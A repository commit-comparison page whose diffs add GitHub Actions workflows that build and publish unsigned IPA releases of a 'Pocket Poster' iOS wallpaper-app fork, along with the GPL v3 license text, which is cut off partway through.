Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b01dca5c43 | ||
|
|
dd3b90d629 | ||
|
|
18a67ec171 | ||
|
|
fb07aa4558 | ||
|
|
4a8e723569 | ||
|
|
2112e59d46 | ||
|
|
4324cb79db | ||
|
|
5aacc36822 | ||
|
|
c4e17c9609 | ||
|
|
2bea79eb60 | ||
|
|
e288b1f2e7 | ||
|
|
454c63d2ca | ||
|
|
fb8bd7f26e | ||
|
|
dd902d2c30 | ||
|
|
d35636c0be | ||
|
|
7434897eac | ||
|
|
395cbe5e13 | ||
|
|
71b1d0a21d | ||
|
|
22a74d5fb8 | ||
|
|
ad280b1a6b | ||
|
|
4d6b093ffd | ||
|
|
5a94ea73d9 | ||
|
|
9687a8f19d | ||
|
|
41c215776e | ||
|
|
3892e75556 | ||
|
|
99eba91bad | ||
|
|
dfee862746 | ||
|
|
faaef84376 | ||
|
|
94f78c9f4e | ||
|
|
e932b82515 | ||
|
|
edde7ddb0c | ||
|
|
cdd5cbe634 | ||
|
|
a6af03b98b | ||
|
|
c04b863efa | ||
|
|
d5833dfb81 | ||
|
|
7c2a031463 | ||
|
|
e849659211 | ||
|
|
3801241850 | ||
|
|
013743cd5c | ||
|
|
4062d084db | ||
|
|
fe1911a5cd | ||
|
|
918af3baa3 | ||
|
|
2f99384650 | ||
|
|
2536f5df86 | ||
|
|
6e95f9336a | ||
|
|
aac867c83a | ||
|
|
bfaf9d1678 | ||
|
|
f9ba2dee0d | ||
|
|
759597dfb2 | ||
|
|
7bf227a6de | ||
|
|
71d37a38bb | ||
|
|
eccf8926fd | ||
|
|
6aa0598da4 | ||
|
|
80be3c8941 | ||
|
|
aa05306b5a | ||
|
|
ec1293e3e4 | ||
|
|
2148a348da | ||
|
|
38c6d06a0e | ||
|
|
622d8f98cf | ||
|
|
f305e4b2c6 | ||
|
|
069d5cf1c3 | ||
|
|
9d8aef4039 | ||
|
|
6d1633b44a | ||
|
|
d552663034 | ||
|
|
7666e9fcab | ||
|
|
a9cfe59c49 | ||
|
|
a1ce92f3eb | ||
|
|
bf0d7989bd | ||
|
|
d835a40199 | ||
|
|
54aa8e20a3 | ||
|
|
d45a64bb19 | ||
|
|
1eab5e5476 | ||
|
|
b782d6c7a2 | ||
|
|
5268d31581 | ||
|
|
ef444f7c5c | ||
|
|
047c9e9504 | ||
|
|
9ccc8e4317 | ||
|
|
c1549ea326 | ||
|
|
60aa215d6b | ||
|
|
903c2d6ff3 | ||
|
|
913110be91 | ||
|
|
aaf5051eeb | ||
|
|
35e58b88eb |
No files matched your search
@@ -0,0 +1,61 @@
|
||||
name: Build IPA
|
||||
|
||||
on:
|
||||
push:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: build-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build unsigned IPA
|
||||
runs-on: macos-15
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Select Xcode
|
||||
run: |
|
||||
# Prefer newest installed Xcode
|
||||
ls /Applications | grep -i Xcode || true
|
||||
sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
|
||||
xcodebuild -version
|
||||
xcodebuild -showsdks | grep iphoneos || true
|
||||
|
||||
- name: Resolve packages
|
||||
run: |
|
||||
xcodebuild -project "Pocket Poster.xcodeproj" \
|
||||
-scheme "Pocket Poster" \
|
||||
-resolvePackageDependencies
|
||||
|
||||
- name: Build IPA
|
||||
run: |
|
||||
chmod +x ./ipabuild.sh
|
||||
./ipabuild.sh
|
||||
|
||||
- name: Prepare artifact
|
||||
run: |
|
||||
VERSION=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' \
|
||||
"build/DerivedDataApp/Build/Products/Release-iphoneos/Pocket Poster.app/Info.plist" 2>/dev/null \
|
||||
|| grep -m1 'MARKETING_VERSION' "Pocket Poster.xcodeproj/project.pbxproj" | sed 's/[^0-9.]//g')
|
||||
echo "VERSION=$VERSION" >> "$GITHUB_ENV"
|
||||
test -f "build/Pocket_Poster.ipa" || cp "build/Pocket Poster.ipa" "build/Pocket_Poster.ipa"
|
||||
cp "build/Pocket_Poster.ipa" "build/Pocket_Poster_${VERSION}.ipa"
|
||||
ls -lh build/*.ipa
|
||||
|
||||
- name: Upload IPA (artifact)
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: Pocket_Poster-${{ env.VERSION }}
|
||||
path: |
|
||||
build/Pocket_Poster.ipa
|
||||
build/Pocket_Poster_*.ipa
|
||||
if-no-files-found: error
|
||||
retention-days: 30
|
||||
@@ -0,0 +1,119 @@
|
||||
name: Release IPA
|
||||
|
||||
on:
|
||||
push:
|
||||
tags:
|
||||
- "v*"
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
tag:
|
||||
description: "Optional tag override (e.g. v3.2.2)"
|
||||
required: false
|
||||
type: string
|
||||
default: ""
|
||||
|
||||
permissions:
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
release:
|
||||
name: Build and release IPA
|
||||
runs-on: macos-15
|
||||
timeout-minutes: 60
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Select Xcode
|
||||
run: |
|
||||
sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
|
||||
xcodebuild -version
|
||||
|
||||
- name: Resolve Swift packages
|
||||
run: |
|
||||
xcodebuild -project "Pocket Poster.xcodeproj" \
|
||||
-scheme "Pocket Poster" \
|
||||
-resolvePackageDependencies
|
||||
|
||||
- name: Build IPA
|
||||
run: |
|
||||
chmod +x ./ipabuild.sh
|
||||
./ipabuild.sh
|
||||
|
||||
- name: Package release assets
|
||||
id: meta
|
||||
run: |
|
||||
set -euo pipefail
|
||||
APP_PLIST="build/DerivedDataApp/Build/Products/Release-iphoneos/Pocket Poster.app/Info.plist"
|
||||
VERSION=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleShortVersionString' "$APP_PLIST")
|
||||
BUILD=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleVersion' "$APP_PLIST")
|
||||
BUNDLE_ID=$(/usr/libexec/PlistBuddy -c 'Print :CFBundleIdentifier' "$APP_PLIST")
|
||||
|
||||
if [ "${{ github.event_name }}" = "workflow_dispatch" ] && [ -n "${{ inputs.tag }}" ]; then
|
||||
TAG="${{ inputs.tag }}"
|
||||
elif [ "${GITHUB_REF_TYPE}" = "tag" ]; then
|
||||
TAG="${GITHUB_REF_NAME}"
|
||||
else
|
||||
TAG="v${VERSION}"
|
||||
fi
|
||||
|
||||
test -f build/Pocket_Poster.ipa || cp "build/Pocket Poster.ipa" build/Pocket_Poster.ipa
|
||||
cp build/Pocket_Poster.ipa "build/Pocket_Poster_${VERSION}.ipa"
|
||||
|
||||
echo "version=${VERSION}" >> "$GITHUB_OUTPUT"
|
||||
echo "build=${BUILD}" >> "$GITHUB_OUTPUT"
|
||||
echo "bundle_id=${BUNDLE_ID}" >> "$GITHUB_OUTPUT"
|
||||
echo "tag=${TAG}" >> "$GITHUB_OUTPUT"
|
||||
|
||||
{
|
||||
echo "## Pocket Poster ${VERSION}"
|
||||
echo ""
|
||||
echo "bad_query fork for **iOS 26 – 27.0b4**"
|
||||
echo ""
|
||||
echo "- On-device PosterBoard hash (no PC / Nugget)"
|
||||
echo "- Apply wallpapers via sandbox escape"
|
||||
echo "- Reset Collections (descriptor wipe)"
|
||||
echo "- Mond-style WebKit respring (works in LiveContainer)"
|
||||
echo ""
|
||||
echo "**Bundle ID:** \`${BUNDLE_ID}\`"
|
||||
echo "**Build:** ${BUILD}"
|
||||
echo ""
|
||||
echo "Sideload with TrollStore / SideStore / LiveContainer."
|
||||
echo ""
|
||||
echo "---"
|
||||
echo "Credits: forcequitOS/bad_query · original leminlimez/Pocket-Poster"
|
||||
} > release_notes.md
|
||||
|
||||
ls -lh build/*.ipa
|
||||
echo "Publishing tag=${TAG} version=${VERSION}"
|
||||
|
||||
- name: Create GitHub Release
|
||||
env:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
TAG="${{ steps.meta.outputs.tag }}"
|
||||
VERSION="${{ steps.meta.outputs.version }}"
|
||||
|
||||
# Create tag on current commit if dispatch without existing tag
|
||||
if ! git rev-parse "$TAG" >/dev/null 2>&1; then
|
||||
git tag "$TAG"
|
||||
git push origin "$TAG" || true
|
||||
fi
|
||||
|
||||
if gh release view "$TAG" >/dev/null 2>&1; then
|
||||
gh release upload "$TAG" \
|
||||
build/Pocket_Poster.ipa \
|
||||
"build/Pocket_Poster_${VERSION}.ipa" \
|
||||
--clobber
|
||||
gh release edit "$TAG" \
|
||||
--title "Pocket Poster ${VERSION}" \
|
||||
--notes-file release_notes.md
|
||||
else
|
||||
gh release create "$TAG" \
|
||||
build/Pocket_Poster.ipa \
|
||||
"build/Pocket_Poster_${VERSION}.ipa" \
|
||||
--title "Pocket Poster ${VERSION}" \
|
||||
--notes-file release_notes.md
|
||||
fi
|
||||
@@ -0,0 +1,674 @@
|
||||
GNU GENERAL PUBLIC LICENSE
|
||||
Version 3, 29 June 2007
|
||||
|
||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
||||
Everyone is permitted to copy and distribute verbatim copies
|
||||
of this license document, but changing it is not allowed.
|
||||
|
||||
Preamble
|
||||
|
||||
The GNU General Public License is a free, copyleft license for
|
||||
software and other kinds of works.
|
||||
|
||||
The licenses for most software and other practical works are designed
|
||||
to take away your freedom to share and change the works. By contrast,
|
||||
the GNU General Public License is intended to guarantee your freedom to
|
||||
share and change all versions of a program--to make sure it remains free
|
||||
software for all its users. We, the Free Software Foundation, use the
|
||||
GNU General Public License for most of our software; it applies also to
|
||||
any other work released this way by its authors. You can apply it to
|
||||
your programs, too.
|
||||
|
||||
When we speak of free software, we are referring to freedom, not
|
||||
price. Our General Public Licenses are designed to make sure that you
|
||||
have the freedom to distribute copies of free software (and charge for
|
||||
them if you wish), that you receive source code or can get it if you
|
||||
want it, that you can change the software or use pieces of it in new
|
||||
free programs, and that you know you can do these things.
|
||||
|
||||
To protect your rights, we need to prevent others from denying you
|
||||
these rights or asking you to surrender the rights. Therefore, you have
|
||||
certain responsibilities if you distribute copies of the software, or if
|
||||
you modify it: responsibilities to respect the freedom of others.
|
||||
|
||||
For example, if you distribute copies of such a program, whether
|
||||
gratis or for a fee, you must pass on to the recipients the same
|
||||
freedoms that you received. You must make sure that they, too, receive
|
||||
or can get the source code. And you must show them these terms so they
|
||||
know their rights.
|
||||
|
||||
Developers that use the GNU GPL protect your rights with two steps:
|
||||
(1) assert copyright on the software, and (2) offer you this License
|
||||
giving you legal permission to copy, distribute and/or modify it.
|
||||
|
||||
For the developers' and authors' protection, the GPL clearly explains
|
||||
that there is no warranty for this free software. For both users' and
|
||||
authors' sake, the GPL requires that modified versions be marked as
|
||||
changed, so that their problems will not be attributed erroneously to
|
||||
authors of previous versions.
|
||||
|
||||
Some devices are designed to deny users access to install or run
|
||||
modified versions of the software inside them, although the manufacturer
|
||||
can do so. This is fundamentally incompatible with the aim of
|
||||
protecting users' freedom to change the software. The systematic
|
||||
pattern of such abuse occurs in the area of products for individuals to
|
||||
use, which is precisely where it is most unacceptable. Therefore, we
|
||||
have designed this version of the GPL to prohibit the practice for those
|
||||
products. If such problems arise substantially in other domains, we
|
||||
stand ready to extend this provision to those domains in future versions
|
||||
of the GPL, as needed to protect the freedom of users.
|
||||
|
||||
Finally, every program is threatened constantly by software patents.
|
||||
States should not allow patents to restrict development and use of
|
||||
software on general-purpose computers, but in those that do, we wish to
|
||||
avoid the special danger that patents applied to a free program could
|
||||
make it effectively proprietary. To prevent this, the GPL assures that
|
||||
patents cannot be used to render the program non-free.
|
||||
|
||||
The precise terms and conditions for copying, distribution and
|
||||
modification follow.
|
||||
|
||||
TERMS AND CONDITIONS
|
||||
|
||||
0. Definitions.
|
||||
|
||||
"This License" refers to version 3 of the GNU General Public License.
|
||||
|
||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
||||
works, such as semiconductor masks.
|
||||
|
||||
"The Program" refers to any copyrightable work licensed under this
|
||||
License. Each licensee is addressed as "you". "Licensees" and
|
||||
"recipients" may be individuals or organizations.
|
||||
|
||||
To "modify" a work means to copy from or adapt all or part of the work
|
||||
in a fashion requiring copyright permission, other than the making of an
|
||||
exact copy. The resulting work is called a "modified version" of the
|
||||
earlier work or a work "based on" the earlier work.
|
||||
|
||||
A "covered work" means either the unmodified Program or a work based
|
||||
on the Program.
|
||||
|
||||
To "propagate" a work means to do anything with it that, without
|
||||
permission, would make you directly or secondarily liable for
|
||||
infringement under applicable copyright law, except executing it on a
|
||||
computer or modifying a private copy. Propagation includes copying,
|
||||
distribution (with or without modification), making available to the
|
||||
public, and in some countries other activities as well.
|
||||
|
||||
To "convey" a work means any kind of propagation that enables other
|
||||
parties to make or receive copies. Mere interaction with a user through
|
||||
a computer network, with no transfer of a copy, is not conveying.
|
||||
|
||||
An interactive user interface displays "Appropriate Legal Notices"
|
||||
to the extent that it includes a convenient and prominently visible
|
||||
feature that (1) displays an appropriate copyright notice, and (2)
|
||||
tells the user that there is no warranty for the work (except to the
|
||||
extent that warranties are provided), that licensees may convey the
|
||||
work under this License, and how to view a copy of this License. If
|
||||
the interface presents a list of user commands or options, such as a
|
||||
menu, a prominent item in the list meets this criterion.
|
||||
|
||||
1. Source Code.
|
||||
|
||||
The "source code" for a work means the preferred form of the work
|
||||
for making modifications to it. "Object code" means any non-source
|
||||
form of a work.
|
||||
|
||||
A "Standard Interface" means an interface that either is an official
|
||||
standard defined by a recognized standards body, or, in the case of
|
||||
interfaces specified for a particular programming language, one that
|
||||
is widely used among developers working in that language.
|
||||
|
||||
The "System Libraries" of an executable work include anything, other
|
||||
than the work as a whole, that (a) is included in the normal form of
|
||||
packaging a Major Component, but which is not part of that Major
|
||||
Component, and (b) serves only to enable use of the work with that
|
||||
Major Component, or to implement a Standard Interface for which an
|
||||
implementation is available to the public in source code form. A
|
||||
"Major Component", in this context, means a major essential component
|
||||
(kernel, window system, and so on) of the specific operating system
|
||||
(if any) on which the executable work runs, or a compiler used to
|
||||
produce the work, or an object code interpreter used to run it.
|
||||
|
||||
The "Corresponding Source" for a work in object code form means all
|
||||
the source code needed to generate, install, and (for an executable
|
||||
work) run the object code and to modify the work, including scripts to
|
||||
control those activities. However, it does not include the work's
|
||||
System Libraries, or general-purpose tools or generally available free
|
||||
programs which are used unmodified in performing those activities but
|
||||
which are not part of the work. For example, Corresponding Source
|
||||
includes interface definition files associated with source files for
|
||||
the work, and the source code for shared libraries and dynamically
|
||||
linked subprograms that the work is specifically designed to require,
|
||||
such as by intimate data communication or control flow between those
|
||||
subprograms and other parts of the work.
|
||||
|
||||
The Corresponding Source need not include anything that users
|
||||
can regenerate automatically from other parts of the Corresponding
|
||||
Source.
|
||||
|
||||
The Corresponding Source for a work in source code form is that
|
||||
same work.
|
||||
|
||||
2. Basic Permissions.
|
||||
|
||||
All rights granted under this License are granted for the term of
|
||||
copyright on the Program, and are irrevocable provided the stated
|
||||
conditions are met. This License explicitly affirms your unlimited
|
||||
permission to run the unmodified Program. The output from running a
|
||||
covered work is covered by this License only if the output, given its
|
||||
content, constitutes a covered work. This License acknowledges your
|
||||
rights of fair use or other equivalent, as provided by copyright law.
|
||||
|
||||
You may make, run and propagate covered works that you do not
|
||||
convey, without conditions so long as your license otherwise remains
|
||||
in force. You may convey covered works to others for the sole purpose
|
||||
of having them make modifications exclusively for you, or provide you
|
||||
with facilities for running those works, provided that you comply with
|
||||
the terms of this License in conveying all material for which you do
|
||||
not control copyright. Those thus making or running the covered works
|
||||
for you must do so exclusively on your behalf, under your direction
|
||||
and control, on terms that prohibit them from making any copies of
|
||||
your copyrighted material outside their relationship with you.
|
||||
|
||||
Conveying under any other circumstances is permitted solely under
|
||||
the conditions stated below. Sublicensing is not allowed; section 10
|
||||
makes it unnecessary.
|
||||
|
||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
||||
|
||||
No covered work shall be deemed part of an effective technological
|
||||
measure under any applicable law fulfilling obligations under article
|
||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
||||
similar laws prohibiting or restricting circumvention of such
|
||||
measures.
|
||||
|
||||
When you convey a covered work, you waive any legal power to forbid
|
||||
circumvention of technological measures to the extent such circumvention
|
||||
is effected by exercising rights under this License with respect to
|
||||
the covered work, and you disclaim any intention to limit operation or
|
||||
modification of the work as a means of enforcing, against the work's
|
||||
users, your or third parties' legal rights to forbid circumvention of
|
||||
technological measures.
|
||||
|
||||
4. Conveying Verbatim Copies.
|
||||
|
||||
You may convey verbatim copies of the Program's source code as you
|
||||
receive it, in any medium, provided that you conspicuously and
|
||||
appropriately publish on each copy an appropriate copyright notice;
|
||||
keep intact all notices stating that this License and any
|
||||
non-permissive terms added in accord with section 7 apply to the code;
|
||||
keep intact all notices of the absence of any warranty; and give all
|
||||
recipients a copy of this License along with the Program.
|
||||
|
||||
You may charge any price or no price for each copy that you convey,
|
||||
and you may offer support or warranty protection for a fee.
|
||||
|
||||
5. Conveying Modified Source Versions.
|
||||
|
||||
You may convey a work based on the Program, or the modifications to
|
||||
produce it from the Program, in the form of source code under the
|
||||
terms of section 4, provided that you also meet all of these conditions:
|
||||
|
||||
a) The work must carry prominent notices stating that you modified
|
||||
it, and giving a relevant date.
|
||||
|
||||
b) The work must carry prominent notices stating that it is
|
||||
released under this License and any conditions added under section
|
||||
7. This requirement modifies the requirement in section 4 to
|
||||
"keep intact all notices".
|
||||
|
||||
c) You must license the entire work, as a whole, under this
|
||||
License to anyone who comes into possession of a copy. This
|
||||
License will therefore apply, along with any applicable section 7
|
||||
additional terms, to the whole of the work, and all its parts,
|
||||
regardless of how they are packaged. This License gives no
|
||||
permission to license the work in any other way, but it does not
|
||||
invalidate such permission if you have separately received it.
|
||||
|
||||
d) If the work has interactive user interfaces, each must display
|
||||
Appropriate Legal Notices; however, if the Program has interactive
|
||||
interfaces that do not display Appropriate Legal Notices, your
|
||||
work need not make them do so.
|
||||
|
||||
A compilation of a covered work with other separate and independent
|
||||
works, which are not by their nature extensions of the covered work,
|
||||
and which are not combined with it such as to form a larger program,
|
||||
in or on a volume of a storage or distribution medium, is called an
|
||||
"aggregate" if the compilation and its resulting copyright are not
|
||||
used to limit the access or legal rights of the compilation's users
|
||||
beyond what the individual works permit. Inclusion of a covered work
|
||||
in an aggregate does not cause this License to apply to the other
|
||||
parts of the aggregate.
|
||||
|
||||
6. Conveying Non-Source Forms.
|
||||
|
||||
You may convey a covered work in object code form under the terms
|
||||
of sections 4 and 5, provided that you also convey the
|
||||
machine-readable Corresponding Source under the terms of this License,
|
||||
in one of these ways:
|
||||
|
||||
a) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by the
|
||||
Corresponding Source fixed on a durable physical medium
|
||||
customarily used for software interchange.
|
||||
|
||||
b) Convey the object code in, or embodied in, a physical product
|
||||
(including a physical distribution medium), accompanied by a
|
||||
written offer, valid for at least three years and valid for as
|
||||
long as you offer spare parts or customer support for that product
|
||||
model, to give anyone who possesses the object code either (1) a
|
||||
copy of the Corresponding Source for all the software in the
|
||||
product that is covered by this License, on a durable physical
|
||||
medium customarily used for software interchange, for a price no
|
||||
more than your reasonable cost of physically performing this
|
||||
conveying of source, or (2) access to copy the
|
||||
Corresponding Source from a network server at no charge.
|
||||
|
||||
c) Convey individual copies of the object code with a copy of the
|
||||
written offer to provide the Corresponding Source. This
|
||||
alternative is allowed only occasionally and noncommercially, and
|
||||
only if you received the object code with such an offer, in accord
|
||||
with subsection 6b.
|
||||
|
||||
d) Convey the object code by offering access from a designated
|
||||
place (gratis or for a charge), and offer equivalent access to the
|
||||
Corresponding Source in the same way through the same place at no
|
||||
further charge. You need not require recipients to copy the
|
||||
Corresponding Source along with the object code. If the place to
|
||||
copy the object code is a network server, the Corresponding Source
|
||||
may be on a different server (operated by you or a third party)
|
||||
that supports equivalent copying facilities, provided you maintain
|
||||
clear directions next to the object code saying where to find the
|
||||
Corresponding Source. Regardless of what server hosts the
|
||||
Corresponding Source, you remain obligated to ensure that it is
|
||||
available for as long as needed to satisfy these requirements.
|
||||
|
||||
e) Convey the object code using peer-to-peer transmission, provided
|
||||
you inform other peers where the object code and Corresponding
|
||||
Source of the work are being offered to the general public at no
|
||||
charge under subsection 6d.
|
||||
|
||||
A separable portion of the object code, whose source code is excluded
|
||||
from the Corresponding Source as a System Library, need not be
|
||||
included in conveying the object code work.
|
||||
|
||||
A "User Product" is either (1) a "consumer product", which means any
|
||||
tangible personal property which is normally used for personal, family,
|
||||
or household purposes, or (2) anything designed or sold for incorporation
|
||||
into a dwelling. In determining whether a product is a consumer product,
|
||||
doubtful cases shall be resolved in favor of coverage. For a particular
|
||||
product received by a particular user, "normally used" refers to a
|
||||
typical or common use of that class of product, regardless of the status
|
||||
of the particular user or of the way in which the particular user
|
||||
actually uses, or expects or is expected to use, the product. A product
|
||||
is a consumer product regardless of whether the product has substantial
|
||||
commercial, industrial or non-consumer uses, unless such uses represent
|
||||
the only significant mode of use of the product.
|
||||
|
||||
"Installation Information" for a User Product means any methods,
|
||||
procedures, authorization keys, or other information required to install
|
||||
and execute modified versions of a covered work in that User Product from
|
||||
a modified version of its Corresponding Source. The information must
|
||||
suffice to ensure that the continued functioning of the modified object
|
||||
code is in no case prevented or interfered with solely because
|
||||
modification has been made.
|
||||
|
||||
If you convey an object code work under this section in, or with, or
|
||||
specifically for use in, a User Product, and the conveying occurs as
|
||||
part of a transaction in which the right of possession and use of the
|
||||
User Product is transferred to the recipient in perpetuity or for a
|
||||
fixed term (regardless of how the transaction is characterized), the
|
||||
Corresponding Source conveyed under this section must be accompanied
|
||||
by the Installation Information. But this requirement does not apply
|
||||
if neither you nor any third party retains the ability to install
|
||||
modified object code on the User Product (for example, the work has
|
||||
been installed in ROM).
|
||||
|
||||
The requirement to provide Installation Information does not include a
|
||||
requirement to continue to provide support service, warranty, or updates
|
||||
for a work that has been modified or installed by the recipient, or for
|
||||
the User Product in which it has been modified or installed. Access to a
|
||||
network may be denied when the modification itself materially and
|
||||
adversely affects the operation of the network or violates the rules and
|
||||
protocols for communication across the network.
|
||||
|
||||
Corresponding Source conveyed, and Installation Information provided,
|
||||
in accord with this section must be in a format that is publicly
|
||||
documented (and with an implementation available to the public in
|
||||
source code form), and must require no special password or key for
|
||||
unpacking, reading or copying.
|
||||
|
||||
7. Additional Terms.
|
||||
|
||||
"Additional permissions" are terms that supplement the terms of this
|
||||
License by making exceptions from one or more of its conditions.
|
||||
Additional permissions that are applicable to the entire Program shall
|
||||
be treated as though they were included in this License, to the extent
|
||||
that they are valid under applicable law. If additional permissions
|
||||
apply only to part of the Program, that part may be used separately
|
||||
under those permissions, but the entire Program remains governed by
|
||||
this License without regard to the additional permissions.
|
||||
|
||||
When you convey a copy of a covered work, you may at your option
|
||||
remove any additional permissions from that copy, or from any part of
|
||||
it. (Additional permissions may be written to require their own
|
||||
removal in certain cases when you modify the work.) You may place
|
||||
additional permissions on material, added by you to a covered work,
|
||||
for which you have or can give appropriate copyright permission.
|
||||
|
||||
Notwithstanding any other provision of this License, for material you
|
||||
add to a covered work, you may (if authorized by the copyright holders of
|
||||
that material) supplement the terms of this License with terms:
|
||||
|
||||
a) Disclaiming warranty or limiting liability differently from the
|
||||
terms of sections 15 and 16 of this License; or
|
||||
|
||||
b) Requiring preservation of specified reasonable legal notices or
|
||||
author attributions in that material or in the Appropriate Legal
|
||||
Notices displayed by works containing it; or
|
||||
|
||||
c) Prohibiting misrepresentation of the origin of that material, or
|
||||
requiring that modified versions of such material be marked in
|
||||
reasonable ways as different from the original version; or
|
||||
|
||||
d) Limiting the use for publicity purposes of names of licensors or
|
||||
authors of the material; or
|
||||
|
||||
e) Declining to grant rights under trademark law for use of some
|
||||
trade names, trademarks, or service marks; or
|
||||
|
||||
f) Requiring indemnification of licensors and authors of that
|
||||
material by anyone who conveys the material (or modified versions of
|
||||
it) with contractual assumptions of liability to the recipient, for
|
||||
any liability that these contractual assumptions directly impose on
|
||||
those licensors and authors.
|
||||
|
||||
All other non-permissive additional terms are considered "further
|
||||
restrictions" within the meaning of section 10. If the Program as you
|
||||
received it, or any part of it, contains a notice stating that it is
|
||||
governed by this License along with a term that is a further
|
||||
restriction, you may remove that term. If a license document contains
|
||||
a further restriction but permits relicensing or conveying under this
|
||||
License, you may add to a covered work material governed by the terms
|
||||
of that license document, provided that the further restriction does
|
||||
not survive such relicensing or conveying.
|
||||
|
||||
If you add terms to a covered work in accord with this section, you
|
||||
must place, in the relevant source files, a statement of the
|
||||
additional terms that apply to those files, or a notice indicating
|
||||
where to find the applicable terms.
|
||||
|
||||
Additional terms, permissive or non-permissive, may be stated in the
|
||||
form of a separately written license, or stated as exceptions;
|
||||
the above requirements apply either way.
|
||||
|
||||
8. Termination.
|
||||
|
||||
You may not propagate or modify a covered work except as expressly
|
||||
provided under this License. Any attempt otherwise to propagate or
|
||||
modify it is void, and will automatically terminate your rights under
|
||||
this License (including any patent licenses granted under the third
|
||||
paragraph of section 11).
|
||||
|
||||
However, if you cease all violation of this License, then your
|
||||
license from a particular copyright holder is reinstated (a)
|
||||
provisionally, unless and until the copyright holder explicitly and
|
||||
finally terminates your license, and (b) permanently, if the copyright
|
||||
holder fails to notify you of the violation by some reasonable means
|
||||
prior to 60 days after the cessation.
|
||||
|
||||
Moreover, your license from a particular copyright holder is
|
||||
reinstated permanently if the copyright holder notifies you of the
|
||||
violation by some reasonable means, this is the first time you have
|
||||
received notice of violation of this License (for any work) from that
|
||||
copyright holder, and you cure the violation prior to 30 days after
|
||||
your receipt of the notice.
|
||||
|
||||
Termination of your rights under this section does not terminate the
|
||||
licenses of parties who have received copies or rights from you under
|
||||
this License. If your rights have been terminated and not permanently
|
||||
reinstated, you do not qualify to receive new licenses for the same
|
||||
material under section 10.
|
||||
|
||||
9. Acceptance Not Required for Having Copies.
|
||||
|
||||
You are not required to accept this License in order to receive or
|
||||
run a copy of the Program. Ancillary propagation of a covered work
|
||||
occurring solely as a consequence of using peer-to-peer transmission
|
||||
to receive a copy likewise does not require acceptance. However,
|
||||
nothing other than this License grants you permission to propagate or
|
||||
modify any covered work. These actions infringe copyright if you do
|
||||
not accept this License. Therefore, by modifying or propagating a
|
||||
covered work, you indicate your acceptance of this License to do so.
|
||||
|
||||
10. Automatic Licensing of Downstream Recipients.
|
||||
|
||||
Each time you convey a covered work, the recipient automatically
|
||||
receives a license from the original licensors, to run, modify and
|
||||
propagate that work, subject to this License. You are not responsible
|
||||
for enforcing compliance by third parties with this License.
|
||||
|
||||
An "entity transaction" is a transaction transferring control of an
|
||||
organization, or substantially all assets of one, or subdividing an
|
||||
organization, or merging organizations. If propagation of a covered
|
||||
work results from an entity transaction, each party to that
|
||||
transaction who receives a copy of the work also receives whatever
|
||||
licenses to the work the party's predecessor in interest had or could
|
||||
give under the previous paragraph, plus a right to possession of the
|
||||
Corresponding Source of the work from the predecessor in interest, if
|
||||
the predecessor has it or can get it with reasonable efforts.
|
||||
|
||||
You may not impose any further restrictions on the exercise of the
|
||||
rights granted or affirmed under this License. For example, you may
|
||||
not impose a license fee, royalty, or other charge for exercise of
|
||||
rights granted under this License, and you may not initiate litigation
|
||||
(including a cross-claim or counterclaim in a lawsuit) alleging that
|
||||
any patent claim is infringed by making, using, selling, offering for
|
||||
sale, or importing the Program or any portion of it.
|
||||
|
||||
11. Patents.
|
||||
|
||||
A "contributor" is a copyright holder who authorizes use under this
|
||||
License of the Program or a work on which the Program is based. The
|
||||
work thus licensed is called the contributor's "contributor version".
|
||||
|
||||
A contributor's "essential patent claims" are all patent claims
|
||||
owned or controlled by the contributor, whether already acquired or
|
||||
hereafter acquired, that would be infringed by some manner, permitted
|
||||
by this License, of making, using, or selling its contributor version,
|
||||
but do not include claims that would be infringed only as a
|
||||
consequence of further modification of the contributor version. For
|
||||
purposes of this definition, "control" includes the right to grant
|
||||
patent sublicenses in a manner consistent with the requirements of
|
||||
this License.
|
||||
|
||||
Each contributor grants you a non-exclusive, worldwide, royalty-free
|
||||
patent license under the contributor's essential patent claims, to
|
||||
make, use, sell, offer for sale, import and otherwise run, modify and
|
||||
propagate the contents of its contributor version.
|
||||
|
||||
In the following three paragraphs, a "patent license" is any express
|
||||
agreement or commitment, however denominated, not to enforce a patent
|
||||
(such as an express permission to practice a patent or covenant not to
|
||||
sue for patent infringement). To "grant" such a patent license to a
|
||||
party means to make such an agreement or commitment not to enforce a
|
||||
patent against the party.
|
||||
|
||||
If you convey a covered work, knowingly relying on a patent license,
|
||||
and the Corresponding Source of the work is not available for anyone
|
||||
to copy, free of charge and under the terms of this License, through a
|
||||
publicly available network server or other readily accessible means,
|
||||
then you must either (1) cause the Corresponding Source to be so
|
||||
available, or (2) arrange to deprive yourself of the benefit of the
|
||||
patent license for this particular work, or (3) arrange, in a manner
|
||||
consistent with the requirements of this License, to extend the patent
|
||||
license to downstream recipients. "Knowingly relying" means you have
|
||||
actual knowledge that, but for the patent license, your conveying the
|
||||
covered work in a country, or your recipient's use of the covered work
|
||||
in a country, would infringe one or more identifiable patents in that
|
||||
country that you have reason to believe are valid.
|
||||
|
||||
If, pursuant to or in connection with a single transaction or
|
||||
arrangement, you convey, or propagate by procuring conveyance of, a
|
||||
covered work, and grant a patent license to some of the parties
|
||||
receiving the covered work authorizing them to use, propagate, modify
|
||||
